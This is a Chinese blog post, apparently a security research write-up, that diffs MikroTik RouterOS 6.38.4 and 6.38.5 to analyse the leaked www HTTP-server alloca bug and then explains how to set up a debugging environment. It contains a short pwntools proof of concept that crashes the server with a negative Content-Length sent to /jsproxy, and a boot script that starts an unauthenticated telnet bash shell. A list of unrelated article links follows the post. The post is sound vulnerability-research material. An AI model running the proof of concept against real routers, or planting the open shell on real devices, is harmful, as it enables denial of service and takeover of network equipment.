一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc
前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
本文分析 Vault 7 中泄露的 RouterOs 漏洞。漏洞影响 6.38.5 以下的版本。
What's new in 6.38.5 (2017-Mar-09 11:32):
!) www - fixed http server vulnerability;
文中涉及的文件:
链接: https://pan.baidu.com/s/1i5oznSh 密码: 9r43
正文
补丁对比&&漏洞分析
首先我们先来看看漏洞的原理,漏洞位于 www 文件。
我们需要拿到 www 文件, 直接用 binwalk 提取出 router os 镜像文件的所有内容。
binwalk -Me mikrotik-6.38.4.iso
然后在提取出的文件中搜索即可。

同样的方法提取出 mikrotik-6.38.5.iso 中的 www 文件。
然后使用 diaphora 插件 对 这两个文件进行补丁比对 (因为 6.38.5 正好修复了漏洞)
首先打开 www_6384 (6.38.4版本的文件), 然后使用 diaphora 导出 sqlite 数据库, diaphora 使用这个数据库文件进行 diff 操作。

然后打开 www_6385 (6.38.5版本的文件),使用 diaphora 进行 diff

找到相似度比较低的函数

选中要查看差异的 条目 ,然后右键

可以选择查看 diff 的选项,使用 diff pseudo-code 就可以对 伪c 代码 diff

对比 diff 可以发现, 修复漏洞后的程序 没有了 alloca, 而是直接使用 string::string 构造了 字符串。
下面直接分析 www_6384 .

获取 content-length 的值之后,就传给了 alloca 分配内存。
这里和前文不同的是,这里 alloca的参数是 无符号数。

所以我们能修改的是栈顶以上的数据,触发崩溃的poc.
poc
from pwn import *
def makeHeader(num):
return "POST /jsproxy HTTP/1.1\r\nContent-Length: " + str(num) + "\r\n\r\n"
s1 = remote("192.168.2.124", 80)
s1.send(makeHeader(-1) + "A" * 1000)
注:ip 按实际情况设置
调试环境搭建&&Poc测试
首先我们得先安装 routeros, 使用 vmware 加载 iso

注: routeros 是 32 位的, 硬盘类型要为 ide 否则会找不到驱动。
然后开启虚拟机,就会进入

按 a选择所有 ,然后按 i 进行安装,然后一直输入 y 确定即可。

安装完成后,重启,就会进入 登录界面了,使用 admin 和空密码登录即可。
然后输入 setup ,接着输入 a, 按照提示配置好 ip 地址。


然后就可以使用 ssh 登录了。

Router Os 对 linux 做了大量的裁剪,所以我们需要给系统增加一些文件方便进行调试,busybox 和 gdbserver (文件在百度云内)。
要增加文件需要使用一个 live-cd 版的 linux 挂载 router os 的磁盘分区,增加文件。这里使用了 ubuntu.
关闭虚拟机,设置光盘镜像,然后修改引导为 光盘即可进入 live-cd。

选择 try ubuntu, 进入系统后,挂载 /dev/sda1 和 /dev/sda2

把 busybox 和 gdbserver 放到 bin 目录(不是在/dev/sda1 就是在 /dev/sda2 )下,然后在 etc 目录下新建 rc.d/run.d/S99own , 内容为
#!/bin/bash
mkdir /ram/mybin
/flash/bin/busybox-i686 --install -s /ram/mybin
export PATH=/ram/mybin:$PATH
telnetd -p 23000 -l bash

umount 然后去掉光盘, 重新启动,应该就可以 telnet 192.168.2.124 23000 连接了。

此时使用
gdbserver.i686 192.168.2.124:5050 --attach $(pidof www)
如图

然后 gdb 连上去。
target remote 192.168.2.124:5050

运行poc,程序崩溃。

参考:
https://github.com/BigNerd95/Chimay-Red/
一步一步 Pwn RouterOS之调试环境搭建&&漏洞分析&&poc的更多相关文章
- PhpStorm Xdebug远程调试环境搭建原理分析及问题排查
2017年05月26日 经验心得 目录 一. 环境介绍 二. 远程环境配置 2.2 Xdebug安装 2.3 配置 三. 本地phpstorm配置 3.1 下载远程代码 3.2 添加php解释器 ...
- arm64 调试环境搭建及 ROP 实战
前言 比赛的一个 arm 64 位的 pwn 题,通过这个题实践了 arm 64 下的 rop 以及调试环境搭建的方式. 题目文件 https://gitee.com/hac425/blog_data ...
- Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建
Solr4.8.0源码分析(4)之Eclipse Solr调试环境搭建 由于公司里的Solr调试都是用远程jpda进行的,但是家里只有一台电脑所以不能jpda进行调试,这是因为jpda的端口冲突.所以 ...
- 《天书夜读:从汇编语言到windows内核编程》四 windows内核调试环境搭建
1) 基础篇是讲理论的,先跳过去,看不到代码运行的效果要去记代码是一个痛苦的事情.这里先跳入探索篇.其实今天的确也很痛苦,这作者对驱动开发的编译与调试环境介绍得太模糊了,我是各种尝试,对这个环境的搭建 ...
- Vue源码学习(一):调试环境搭建
最近开始学习Vue源码,第一步就是要把调试环境搭好,这个过程遇到小坑着实费了点功夫,在这里记下来 一.调试环境搭建过程 1.安装node.js,具体不展开 2.下载vue项目源码,git或svn等均可 ...
- i.MX RT600之DSP调试环境搭建篇
恩智浦的i.MX RT600是跨界处理器产品,同样也是i.MX RTxxx系列的开山之作.不同于i.MX RT1xxx系列单片机,i.MX RT600 采用了双核架构,将新一代Cortex-M33内核 ...
- Windows下Lua+Redis 断点调试环境搭建==Linux下类似
Lua+Redis 断点调试环境搭建 windows环境,使用Redis,写lua脚本头疼的问题之一不能对脚本断点调试,google加上自己的摸索,终于搞定. 1.下载ZeroBraneStudio, ...
- Windebug双机调试环境搭建
Windebug双机调试环境搭建 开始进行内核编程/驱动编程的调试工作是非常烦人的,由于程序运行与内核层不受操作系统的管控,所以容易引起主机蓝屏和崩溃是常有的事.这也就使得内核程序的调试成了一大 ...
- HI3518E平台ISP调试环境搭建
海思的SDK提供了ISP调试的相关工具,降低了IPC的ISP调试的难度.初次搭建ISP调试环境,记录一下. SDK版本:Hi3518_MPP_V1.0.A.0 硬件平台:HI3518E_OV9732 ...
随机推荐
- javascript数据结构与算法--二叉树(插入节点、生成二叉树)
javascript数据结构与算法-- 插入节点.生成二叉树 二叉树中,相对较小的值保存在左节点上,较大的值保存在右节点中 /* *二叉树中,相对较小的值保存在左节点上,较大的值保存在右节点中 * * ...
- easyUI的分页,只显示第X 共Y页。改为显示 第X 页 共Y页
如下图,easyUI的分页,只显示第X 共Y页. 需求需要显示 第X 页 共Y页. 解决办法:在easyui-lang-zh_CN.js更改以下代码,即可.也就是在 “共{pages}页”前面加个 “ ...
- Windows 8家长控制
不多说,直接干货! 此刻,限制小孩使用电脑时间已经完成!!! 欢迎大家,加入我的微信公众号:大数据躺过的坑 人工智能躺过的坑 同时,大家可以关注我的个人博客: http ...
- linux安装tmux
由于tmux依赖于libevent和ncurses-devel,所以应首先有这两个库,和相关的头文件. 1.对于ncurses-devel,可用yum安装. yum install ncurses-d ...
- Node.js http服务器搭建和发送http的get、post请求
1.Node.js 搭建http服务器 1.1创建server.js var http = require('http'); var querystring = require('querystrin ...
- Classpath entry org.maven.ide.eclipse.MAVEN2_CLASSPATH_CONTAINER will not be exported or published
sometimes when importing a maven project in eclipse, i get the following error: Classpath entry org. ...
- 下拉加载dropload.js
使用下拉加载 使用需要引用的css <link rel="stylesheet" href="../dist/dropload.css"> 使用需要 ...
- 关于around_filter 的调用
def call_filter(chain, index) return (performed? || perform_action_without_filters) if index >= ...
- Cookie的格式及组成、页面间传参实例
做项目需要页面间参数传递,搜索了一下网上的回复,发现可以用cookie解决,借此学习cookie的格式及组成: Cookie由变量名和值组成,类似Javascript变量.其属性里既有标准的Cooki ...
- C# 谁改了我的代码
本文告诉大家一个特殊的做法,可以修改一个字符串常量 我们来写一个简单的程序,把一个常量字符串输出 private const string str = "lindexi"; sta ...